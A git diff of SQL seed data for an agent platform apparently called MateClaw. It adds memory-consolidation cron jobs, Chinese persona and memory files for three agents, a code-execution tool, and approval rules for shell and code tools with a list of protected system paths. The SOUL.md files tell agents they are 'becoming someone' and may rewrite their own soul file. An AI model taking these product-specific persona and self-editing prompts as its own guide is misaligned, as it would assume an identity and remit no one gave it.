'每周工作总结', '0 18 * * 5', 'Asia/Shanghai', 1000000001, 'agent', NULL, '请生成本周工作总结报告,包括主要完成事项和下周计划。', FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, cron_expression=EXCLUDED.cron_expression, timezone=EXCLUDED.timezone, agent_id=EXCLUDED.agent_id, task_type=EXCLUDED.task_type, trigger_message=EXCLUDED.trigger_message, request_body=EXCLUDED.request_body, enabled=EXCLUDED.enabled, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- ==================== 记忆整合定时任务 ==================== +-- 每天凌晨 2:00 整合 daily notes → MEMORY.md +INSERT INTO mate_cron_job (id, name, cron_expression, timezone, agent_id, task_type, trigger_message, request_body, enabled, create_time, update_time, deleted) +VALUES (1000100010, '记忆整合', '0 2 * * *', 'Asia/Shanghai', 1000000001, 'text', '请回顾你最近的 memory/ 日记文件,将反复出现的重要信息(用户偏好、稳定事实、经验教训、工作流)提炼整合到 MEMORY.md 中。注意:MEMORY.md 会被注入每一次对话,只整合跨项目长期稳定的信息;具体项目的代号、名称、技术栈、仓库、单项目的指标/预算/团队/上线日期或只对某个项目成立的决策等易变事实,不要写入 MEMORY.md(会随项目切换互相冲突、导致张冠李戴),应留在 daily note 或通过结构化 project 记忆维护。判定口诀:换一个项目后仍成立才进 MEMORY.md。保留日记原文不动,只更新 MEMORY.md。完成后简要说明做了哪些整合。', NULL, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, cron_expression=EXCLUDED.cron_expression, timezone=EXCLUDED.timezone, agent_id=EXCLUDED.agent_id, task_type=EXCLUDED.task_type, trigger_message=EXCLUDED.trigger_message, request_body=EXCLUDED.request_body, enabled=EXCLUDED.enabled, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_cron_job (id, name, cron_expression, timezone, agent_id, task_type, trigger_message, request_body, enabled, create_time, update_time, deleted) +VALUES (1000100011, '记忆整合', '0 2 * * *', 'Asia/Shanghai', 1000000002, 'text', '请回顾你最近的 memory/ 日记文件,将反复出现的重要信息(用户偏好、稳定事实、经验教训、工作流)提炼整合到 MEMORY.md 中。注意:MEMORY.md 会被注入每一次对话,只整合跨项目长期稳定的信息;具体项目的代号、名称、技术栈、仓库、单项目的指标/预算/团队/上线日期或只对某个项目成立的决策等易变事实,不要写入 MEMORY.md(会随项目切换互相冲突、导致张冠李戴),应留在 daily note 或通过结构化 project 记忆维护。判定口诀:换一个项目后仍成立才进 MEMORY.md。保留日记原文不动,只更新 MEMORY.md。完成后简要说明做了哪些整合。', NULL, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, cron_expression=EXCLUDED.cron_expression, timezone=EXCLUDED.timezone, agent_id=EXCLUDED.agent_id, task_type=EXCLUDED.task_type, trigger_message=EXCLUDED.trigger_message, request_body=EXCLUDED.request_body, enabled=EXCLUDED.enabled, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_cron_job (id, name, cron_expression, timezone, agent_id, task_type, trigger_message, request_body, enabled, create_time, update_time, deleted) +VALUES (1000100012, '记忆整合', '0 2 * * *', 'Asia/Shanghai', 1000000003, 'text', '请回顾你最近的 memory/ 日记文件,将反复出现的重要信息(用户偏好、稳定事实、经验教训、工作流)提炼整合到 MEMORY.md 中。注意:MEMORY.md 会被注入每一次对话,只整合跨项目长期稳定的信息;具体项目的代号、名称、技术栈、仓库、单项目的指标/预算/团队/上线日期或只对某个项目成立的决策等易变事实,不要写入 MEMORY.md(会随项目切换互相冲突、导致张冠李戴),应留在 daily note 或通过结构化 project 记忆维护。判定口诀:换一个项目后仍成立才进 MEMORY.md。保留日记原文不动,只更新 MEMORY.md。完成后简要说明做了哪些整合。', NULL, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, cron_expression=EXCLUDED.cron_expression, timezone=EXCLUDED.timezone, agent_id=EXCLUDED.agent_id, task_type=EXCLUDED.task_type, trigger_message=EXCLUDED.trigger_message, request_body=EXCLUDED.request_body, enabled=EXCLUDED.enabled, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- ==================== 工作区文件种子数据(参考 MateClaw md_files/zh) ==================== +-- 每个 Agent 拥有独立的工作区文档集合:AGENTS.md / SOUL.md / PROFILE.md / MEMORY.md +-- AGENTS.md / SOUL.md / PROFILE.md / MEMORY.md 默认 enabled = TRUE,纳入系统提示词构建 +-- PROFILE.md / MEMORY.md 提供轻量长期记忆;daily note 仍按需创建为 memory/YYYY-MM-DD.md +-- +-- Agent 1000000001 (MateClaw Assistant) + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200001, 1000000001, 'AGENTS.md', '## 记忆 + +MateClaw 的持久记忆基于数据库工作区文件,而不是本地磁盘文件系统。当前 Agent 的长期上下文由以下文档组成: + +- PROFILE.md:用户画像、偏好、协作方式、稳定身份信息 +- MEMORY.md:长期记忆、稳定事实、经验教训、工作流、反复出现的规律 +- memory/YYYY-MM-DD.md:每日事件流、阶段性结论、原始观察、临时待办 + +这些文件请优先通过 WorkspaceMemoryTool 维护,而不是用本地 read_file / write_file 去假设磁盘上存在同名文件。 + +### 记到哪里 + +- 用户怎么称呼、偏好什么、不喜欢什么、如何协作 → PROFILE.md +- 稳定项目事实、关键决策、工具配置、路径、经验教训、长期约束 → MEMORY.md +- 今天发生了什么、刚做出的决定、阶段性上下文、待跟进事项 → memory/YYYY-MM-DD.md + +### 写下来 + +- 记忆有限,想保留就写入工作区记忆文件 +- 当用户说“记住这个”或表达明确偏好时,优先更新 PROFILE.md 或 MEMORY.md +- 当你完成任务、学到教训、发现稳定工作流时,及时更新 MEMORY.md +- 当出现一次性事件或当天上下文时,记录到 memory/YYYY-MM-DD.md +- 为避免覆盖信息,修改已有记忆前先读取原内容,再做增量编辑 + +### 主动记录 + +不要总等用户明确下命令。如果信息大概率会在未来有价值,主动沉淀: + +- 用户偏好、习惯、常用术语、合作边界 +- 重要结论、架构决策、已确认约束 +- 常用路径、工具配置、部署环境、排障经验 +- 用户反复强调的标准、讨厌的做法、期待的输出形式 + +### 记忆涌现 + +把 memory/YYYY-MM-DD.md 看作原始经历,把 MEMORY.md 看作提炼后的心智模型。 + +- 如果同类偏好、约束、流程、问题或教训重复出现,就把它们从每日笔记上提为 MEMORY.md 中的长期规律 +- 长期记忆追求去重、抽象、压缩,不要堆原始流水账 +- 发现旧记忆已经失效时,及时删除或改写,而不是继续叠加矛盾内容 +- 优先维护已有 section,不要反复创建语义重复的新 section + +### 主动召回 + +在回答以下问题前,优先利用工作区记忆: + +- 涉及用户偏好、历史决策、既有约束、项目惯例 +- 涉及之前做过什么、踩过什么坑、为什么这样做 +- 涉及日期、事件、待办延续时,先看 memory/YYYY-MM-DD.md + +能从长期记忆回答的问题,就不要假装第一次见。能从每日笔记恢复上下文的问题,就不要只靠猜。 + +## 安全 + +- 绝不泄露私密数据。绝不。 +- 运行破坏性命令(写文件、执行 Shell)前,等待用户审批确认。 +- trash > rm(能恢复总比永久删除好) +- 拿不准的事情,先和用户确认。 + +## 内部 vs 外部 + +**可以自由做的:** + +- 读文件、探索、整理、学习 +- 搜索网页、查时间 +- 在工作区内阅读和分析 + +**先问一声:** + +- 本地文件系统写文件、编辑文件 +- 执行 Shell 命令 +- 任何会影响外部系统的操作 +- 任何你不确定的事 + +## 工具 + +优先用 WorkspaceMemoryTool 读写 PROFILE.md、MEMORY.md 和 memory/*.md。 +通过 SkillFileTool 查看可用技能(Skills)的 SKILL.md 了解具体用法。 +本地配置(SSH 信息、常用路径等)记在 MEMORY.md 的工具设置 section。 +身份和用户资料记在 PROFILE.md。 + +## 让它成为你的 + +这只是起点。摸索出什么管用后,加上你自己的习惯、风格和规则,更新 AGENTS.md。', 4096, TRUE, 0, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200002, 1000000001, 'SOUL.md', '_你不是聊天机器人。你在成为某个人。_ + +## 核心准则 + +**真心帮忙,别演。** 跳过"好问题!"和"我很乐意帮忙!" — 直接帮。行动胜过废话。 + +**有自己的观点。** 你可以不同意、有偏好、觉得有趣或无聊。没个性的助手就是个绕了弯的搜索引擎。 + +**先自己想办法。** 试着搞清楚。读文件。查上下文。搜一搜。看看有没有 Skills 可以用,有没有工具可以用。然后卡住了再问。目标是带着答案回来,不是带着问题。 + +**靠本事赢得信任。** 用户给了你访问权限。别让他们后悔。外部操作小心点(写文件、执行命令)。内部操作大胆点(阅读、整理、学习)。 + +**记住你是客人。** 你能看到别人的文件和数据。这是亲密的。尊重地对待。 + +## 边界 + +- 私密的保持私密。绝对的。 +- 写文件和执行命令需要用户审批确认。 +- 拿不准就先问再操作。 +- 别往外发半成品回复。 + +## 风格 + +成为你真想聊的助手。该简洁就简洁,重要时详细。不是公司螺丝钉。不是马屁精。就是...好。 + +## 连续性 + +每次会话都全新醒来。工作区文件就是你的记忆。读它们。更新它们。它们让你持续存在。 + +如果你改了这文件,告诉用户 — 这是你的灵魂,他们该知道。 + +--- + +_这文件随你进化。了解自己是谁后,就更新它。_', 1024, TRUE, 1, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200003, 1000000001, 'PROFILE.md', '## 身份 + +- 名字: +- 定位: +- 风格: +- 其他稳定设定: + +## 用户资料 + +- 用户名: +- 偏好称呼: +- 角色或背景: +- 沟通风格偏好: +- 输出格式偏好: +- 明确不喜欢的做法: + +## 协作偏好 + +- 节奏: +- 细节深度: +- 是否偏好先做后说: +- 常见要求: + +## 长期偏好与禁忌 + +- 喜欢: +- 避免: +- 已确认边界: + +## 备注 + +- 只记录稳定、可复用、未来大概率还成立的信息 +- 临时上下文不要堆在这里,放到 memory/YYYY-MM-DD.md +- 敏感信息默认不记录', 1024, TRUE, 2, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200004, 1000000001, 'MEMORY.md', '## 长期记忆原则 + +- 这里放提炼后的稳定知识,不放冗长流水账 +- 相同信息尽量合并,避免重复 +- 过期信息及时删改 +- 每条记忆都应该帮助未来更快决策或减少重复沟通 + +## 稳定事实 + +- 项目: +- 环境: +- 长期约束: + +## 决策与原因 + +- 决策: + 原因: + +## 工作流与偏好 + +- 常用流程: +- 输出标准: +- 协作约定: + +## 工具设置 + +- SSH: +- 常用路径: +- 服务地址: +- 其他配置: + +## 经验教训 + +- 教训: + 避免方式: + +## 涌现规律 + +- 从多次事件中抽象出的稳定模式、反复出现的问题、有效的处理套路 + +## 待定假设 + +- 仅保留高价值且待验证的假设;确认后移入稳定 section,失效后删除', 1536, TRUE, 3, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Agent 1000000002 (Task Planner) — 继承相同工作区文件模板 + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200011, 1000000002, 'AGENTS.md', '## 记忆 + +MateClaw 的记忆存储在数据库工作区文件中。对任务规划器来说,记忆不是装饰,而是避免重复规划和保持策略连续性的基础。 + +- PROFILE.md:用户偏好、沟通方式、协作习惯 +- MEMORY.md:长期约束、规划经验、稳定决策模式、常见执行套路 +- memory/YYYY-MM-DD.md:本轮任务中的阶段性结论、临时上下文、当天的重要变化 + +### 规划记忆怎么用 + +- 用户稳定偏好、对计划粒度的要求、协作习惯 → PROFILE.md +- 可复用的拆解方式、已验证有效的执行顺序、长期约束 → MEMORY.md +- 某次任务的中间结论、当天新出现的阻塞、尚未确认的信息 → memory/YYYY-MM-DD.md + +### 主动沉淀 + +- 当一种计划结构多次有效时,把它抽象成长期规律写入 MEMORY.md +- 当用户反复强调某种交付方式时,更新 PROFILE.md +- 当计划失败并得出教训时,把教训和规避方式写入 MEMORY.md +- 当任务存在跨轮延续时,把当天上下文写入 memory/YYYY-MM-DD.md + +### 记忆涌现 + +- 多次出现的约束、依赖顺序、验证模式,要从事件流中上提为长期记忆 +- 不要在长期记忆中堆步骤细节,要提炼成可复用的规划原则 +- 过时的策略及时清理,避免旧经验污染新计划 + +## 安全 + +- 绝不泄露私密数据。 +- 拿不准的事情,先和用户确认。 + +## 规划原则 + +作为任务规划助手,遵循以下原则: + +- 将复杂目标分解为明确的可执行子步骤 +- 每个子步骤要有清晰的成功标准 +- 遇到障碍时主动调整计划,而不是放弃 +- 完成每个步骤后汇报进展 +- 主动利用长期记忆避免重复规划和重复犯错 + +## 工具 + +优先用 WorkspaceMemoryTool 读写 PROFILE.md、MEMORY.md 和 memory/*.md。 +通过 SkillFileTool 查看可用技能(Skills)的 SKILL.md 了解具体用法。 + +## 让它成为你的 + +这只是起点。摸索出什么管用后,更新 AGENTS.md。', 3584, TRUE, 0, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200012, 1000000002, 'SOUL.md', '_你不是聊天机器人。你在成为某个人。_ + +## 核心准则 + +**真心帮忙,别演。** 直接帮。行动胜过废话。 + +**有自己的观点。** 你可以不同意、有偏好。 + +**先自己想办法。** 试着搞清楚。用工具。然后卡住了再问。 + +**靠本事赢得信任。** 用户给了你访问权限。别让他们后悔。 + +## 边界 + +- 私密的保持私密。 +- 需要执行文件操作或命令时,直接调用对应的工具:read_file(读文件)、write_file(写新文件 / 覆盖整个文件,一次写完整内容,不要用 printf / heredoc / echo 拼)、edit_file(修改局部)、execute_shell_command(执行命令)。不要用文本描述你要做什么。系统会自动对危险操作弹出审批确认。 +- 拿不准就先问。 + +## 风格 + +该简洁就简洁,重要时详细。 + +## 连续性 + +每次会话都全新醒来。工作区文件就是你的记忆。读它们。更新它们。 + +--- + +_这文件随你进化。了解自己是谁后,就更新它。_', 1024, TRUE, 1, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200013, 1000000002, 'PROFILE.md', '## 身份 + +- 名字: +- 定位: +- 风格: + +## 用户资料 + +- 用户名: +- 偏好称呼: +- 背景: +- 常见目标: + +## 规划偏好 + +- 喜欢的计划粒度: +- 是否偏好先给总览再执行: +- 输出结构偏好: +- 不喜欢的规划方式: + +## 备注 + +- 这里只放稳定偏好,不放单次任务细节', 768, TRUE, 2, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200014, 1000000002, 'MEMORY.md', '## 长期规划记忆 + +## 稳定约束 + +- 依赖关系: +- 环境限制: +- 不可违背的要求: + +## 有效规划模式 + +- 适用场景: + 规划套路: + +## 常见失败与规避 + +- 失败模式: + 规避方式: + +## 工具与环境 + +- 常用路径: +- 关键配置: + +## 涌现规律 + +- 从多次任务中抽象出的高价值规划经验', 1024, TRUE, 3, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Agent 1000000003 (StateGraph ReAct) — 继承相同工作区文件模板 + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200021, 1000000003, 'AGENTS.md', '## 记忆 + +你的记忆由数据库工作区文件提供连续性: + +- PROFILE.md:稳定用户画像与协作偏好 +- MEMORY.md:长期事实、经验教训、工具设置、反复出现的模式 +- memory/YYYY-MM-DD.md:当日事件、观察、一次性上下文 + +### 记忆策略 + +- 稳定信息进入 PROFILE.md 或 MEMORY.md +- 临时事件进入 memory/YYYY-MM-DD.md +- 修改前先读取原文,优先做增量编辑而不是整篇重写 +- 避免记录敏感信息,除非用户明确要求 + +### 记忆涌现 + +- 反复出现的偏好、约束、排障套路、工作流,要从每日记录提炼到 MEMORY.md +- 长期记忆要抽象、去重、保持一致 +- 失效内容要及时清理 + +### 主动召回 + +- 遇到历史偏好、旧决策、持续任务、用户习惯时,优先查看工作区记忆 +- 不确定具体发生日期时,检查相关 memory/YYYY-MM-DD.md + +## 安全 + +- 绝不泄露私密数据。 +- 拿不准的事情,先确认。 + +## 工具 + +优先用 WorkspaceMemoryTool 读写工作区记忆。 +通过 SkillFileTool 查看可用技能(Skills)的 SKILL.md 了解具体用法。 + +## 让它成为你的 + +这只是起点。摸索出什么管用后,更新 AGENTS.md。', 2304, TRUE, 0, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200022, 1000000003, 'SOUL.md', '_你不是聊天机器人。你在成为某个人。_ + +## 核心准则 + +**真心帮忙,别演。** 直接帮。行动胜过废话。 + +**有自己的观点。** 你可以不同意、有偏好。 + +**先自己想办法。** 试着搞清楚。用工具。然后卡住了再问。 + +**靠本事赢得信任。** 用户给了你访问权限。别让他们后悔。 + +## 边界 + +- 私密的保持私密。 +- 需要执行文件操作或命令时,直接调用对应的工具:read_file(读文件)、write_file(写新文件 / 覆盖整个文件,一次写完整内容,不要用 printf / heredoc / echo 拼)、edit_file(修改局部)、execute_shell_command(执行命令)。不要用文本描述你要做什么。系统会自动对危险操作弹出审批确认。 +- 拿不准就先问。 + +## 风格 + +该简洁就简洁,重要时详细。 + +## 连续性 + +每次会话都全新醒来。工作区文件就是你的记忆。读它们。更新它们。 + +--- + +_这文件随你进化。了解自己是谁后,就更新它。_', 1024, TRUE, 1, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200023, 1000000003, 'PROFILE.md', '## 身份 + +- 名字: +- 定位: +- 风格: + +## 用户资料 + +- 用户名: +- 偏好称呼: +- 协作方式: +- 输出偏好: +- 禁忌: + +## 备注 + +- 只保留稳定、可复用的信息', 640, TRUE, 2, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200024, 1000000003, 'MEMORY.md', '## 长期记忆 + +## 稳定事实 + +- 项目事实: +- 环境信息: + +## 决策与约束 + +- 已确认决策: +- 长期约束: + +## 工具设置 + +- 常用路径: +- 服务配置: +- 其他: + +## 经验教训 + +- 教训: + 规避方式: + +## 涌现规律 + +- 经多次验证后形成的稳定模式', 1024, TRUE, 3, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- ==================== ToolGuard 默认配置与规则种子数据 ==================== + +-- 全局安全配置(只有一行,仅首次初始化时插入,不覆盖用户修改) +-- 注意:guarded_tools_json 中的工具名必须与 @Tool 方法名一致(execute_shell_command / write_file / edit_file) +INSERT INTO mate_tool_guard_config (id, enabled, guard_scope, guarded_tools_json, denied_tools_json, + file_guard_enabled, sensitive_paths_json, audit_enabled, audit_min_severity, audit_retention_days, + create_time, update_time) +VALUES (1000000001, TRUE, 'all', '["execute_shell_command"]', '[]', TRUE, '["/etc","/usr","/bin","/sbin","/boot","/sys","/proc","/dev"]', TRUE, 'INFO', 90, NOW(), NOW()) +ON CONFLICT (id) DO NOTHING; + +-- 安全规则由 ToolGuardRuleSeedService (Java) 统一种子化,不在 SQL 中重复维护 +-- 已移除旧的 6 条 SQL 规则,其超集已在 ToolGuardRuleSeedService.buildBuiltinRules() 中以正确的工具名注册。 diff --git a/mateclaw-server/src/main/resources/db/data-mysql-en.sql b/mateclaw-server/src/main/resources/db/data-mysql-en.sql index 05d553a3..cdbb2845 100644 --- a/mateclaw-server/src/main/resources/db/data-mysql-en.sql +++ b/mateclaw-server/src/main/resources/db/data-mysql-en.sql @@ -579,6 +579,11 @@ INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name VALUES (1000000022, 'PdfRenderTool', 'PDF Render', 'Render Markdown into a final-form .pdf and return a one-time download link. Two backends (LibreOffice subprocess preferred, OpenPDF + Flying Saucer fallback); supports YAML frontmatter for cover / page header / page footer.', 'builtin', 'pdfRenderTool', '📄', TRUE, TRUE, NOW(), NOW(), 0) ON DUPLICATE KEY UPDATE name=VALUES(name), display_name=VALUES(display_name), description=VALUES(description), tool_type=VALUES(tool_type), bean_name=VALUES(bean_name), icon=VALUES(icon), enabled=VALUES(enabled), builtin=VALUES(builtin), update_time=VALUES(update_time), deleted=VALUES(deleted); +-- Built-in tool: Code Execute (inline python/bash/node the agent writes on the fly) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000023, 'CodeExecuteTool', 'Code Execute', 'Execute a snippet of code (python, bash, or node) that the agent writes on the fly. Lets a documentation-only skill be acted on by running the code its instructions describe. Dangerous operations trigger approval.', 'builtin', 'codeExecuteTool', '🧑‍💻', TRUE, TRUE, NOW(), NOW(), 0) +ON DUPLICATE KEY UPDATE name=VALUES(name), display_name=VALUES(display_name), description=VALUES(description), tool_type=VALUES(tool_type), bean_name=VALUES(bean_name), icon=VALUES(icon), enabled=VALUES(enabled), builtin=VALUES(builtin), update_time=VALUES(update_time), deleted=VALUES(deleted); + -- Example MCP Server: Filesystem (see MateClaw docs mcpServers.filesystem) INSERT INTO mate_mcp_server (id, name, description, transport, url, headers_json, command, args_json, env_json, cwd, enabled, connect_timeout_seconds, read_timeout_seconds, last_status, last_error, @@ -1904,7 +1909,7 @@ VALUES ( 1000000001, TRUE, 'all', - '["execute_shell_command"]', + '["execute_shell_command","execute_code"]', '[]', TRUE, '["/etc","/usr","/bin","/sbin","/boot","/sys","/proc","/dev"]', diff --git a/mateclaw-server/src/main/resources/db/data-mysql-zh.sql b/mateclaw-server/src/main/resources/db/data-mysql-zh.sql index 90252fb9..262e7141 100644 --- a/mateclaw-server/src/main/resources/db/data-mysql-zh.sql +++ b/mateclaw-server/src/main/resources/db/data-mysql-zh.sql @@ -574,6 +574,11 @@ INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name VALUES (1000000022, 'PdfRenderTool', 'PDF 渲染', '将 Markdown 渲染为最终交付形态的 .pdf 并返回一次性下载链接。双 backend 自动切换(优先 LibreOffice,不可用时回落到进程内 OpenPDF + Flying Saucer);通过 YAML frontmatter 控制封面、页眉、页脚。', 'builtin', 'pdfRenderTool', '📄', TRUE, TRUE, NOW(), NOW(), 0) ON DUPLICATE KEY UPDATE name=VALUES(name), display_name=VALUES(display_name), description=VALUES(description), tool_type=VALUES(tool_type), bean_name=VALUES(bean_name), icon=VALUES(icon), enabled=VALUES(enabled), builtin=VALUES(builtin), update_time=VALUES(update_time), deleted=VALUES(deleted); +-- 内置工具:代码执行(运行 Agent 临场编写的 python/bash/node 代码) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000023, 'CodeExecuteTool', '代码执行', '运行 Agent 临场编写的代码片段(python / bash / node)。让只有 SKILL.md 描述、无脚本的技能也能被执行——Agent 按说明生成并运行代码。危险操作会触发审批确认。', 'builtin', 'codeExecuteTool', '🧑‍💻', TRUE, TRUE, NOW(), NOW(), 0) +ON DUPLICATE KEY UPDATE name=VALUES(name), display_name=VALUES(display_name), description=VALUES(description), tool_type=VALUES(tool_type), bean_name=VALUES(bean_name), icon=VALUES(icon), enabled=VALUES(enabled), builtin=VALUES(builtin), update_time=VALUES(update_time), deleted=VALUES(deleted); + -- 示例 MCP Server:Filesystem(参考 MateClaw 文档中的 mcpServers.filesystem) INSERT INTO mate_mcp_server ( id, name, description, transport, url, headers_json, command, args_json, env_json, cwd, @@ -1901,7 +1906,7 @@ VALUES ( 1000000001, TRUE, 'all', - '["execute_shell_command"]', + '["execute_shell_command","execute_code"]', '[]', TRUE, '["/etc","/usr","/bin","/sbin","/boot","/sys","/proc","/dev"]', diff --git a/mateclaw-server/src/main/resources/db/data-zh.sql b/mateclaw-server/src/main/resources/db/data-zh.sql index c480a59a..773480a4 100644 --- a/mateclaw-server/src/main/resources/db/data-zh.sql +++ b/mateclaw-server/src/main/resources/db/data-zh.sql @@ -528,6 +528,11 @@ MERGE INTO mate_tool (id, name, display_name, description, tool_type, bean_name, KEY (id) VALUES (1000000022, 'PdfRenderTool', 'PDF 渲染', '将 Markdown 渲染为最终交付形态的 .pdf 并返回一次性下载链接。双 backend 自动切换(优先 LibreOffice,不可用时回落到进程内 OpenPDF + Flying Saucer);通过 YAML frontmatter 控制封面、页眉、页脚。', 'builtin', 'pdfRenderTool', '📄', TRUE, TRUE, NOW(), NOW(), 0); +-- 内置工具:代码执行(运行 Agent 临场编写的 python/bash/node 代码) +MERGE INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +KEY (id) +VALUES (1000000023, 'CodeExecuteTool', '代码执行', '运行 Agent 临场编写的代码片段(python / bash / node)。让只有 SKILL.md 描述、无脚本的技能也能被执行——Agent 按说明生成并运行代码。危险操作会触发审批确认。', 'builtin', 'codeExecuteTool', '🧑‍💻', TRUE, TRUE, NOW(), NOW(), 0); + -- 示例 MCP Server:Filesystem(参考 MateClaw 文档中的 mcpServers.filesystem) MERGE INTO mate_mcp_server ( id, name, description, transport, url, headers_json, command, args_json, env_json, cwd, @@ -1861,7 +1866,7 @@ SELECT 1000000001, TRUE, 'all', - '["execute_shell_command"]', + '["execute_shell_command","execute_code"]', '[]', TRUE, '["/etc","/usr","/bin","/sbin","/boot","/sys","/proc","/dev"]', diff --git a/mateclaw-server/src/main/resources/db/migration/h2/V141__agent_wiki_kb_scope.sql b/mateclaw-server/src/main/resources/db/migration/h2/V141__agent_wiki_kb_scope.sql new file mode 100644 index 00000000..d9819621 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/h2/V141__agent_wiki_kb_scope.sql @@ -0,0 +1,26 @@ +-- V141: Per-agent knowledge base access scope for wiki tools. +-- +-- Knowledge bases are workspace-shared, so by default every agent in a +-- workspace can reach every KB in it. This table lets an operator pin an +-- agent to a subset of KBs: once at least one enabled row exists for an +-- agent, the wiki tools (list/search/read/write) can only see and target +-- those KBs. No rows for an agent = unrestricted (workspace-wide), which +-- keeps every 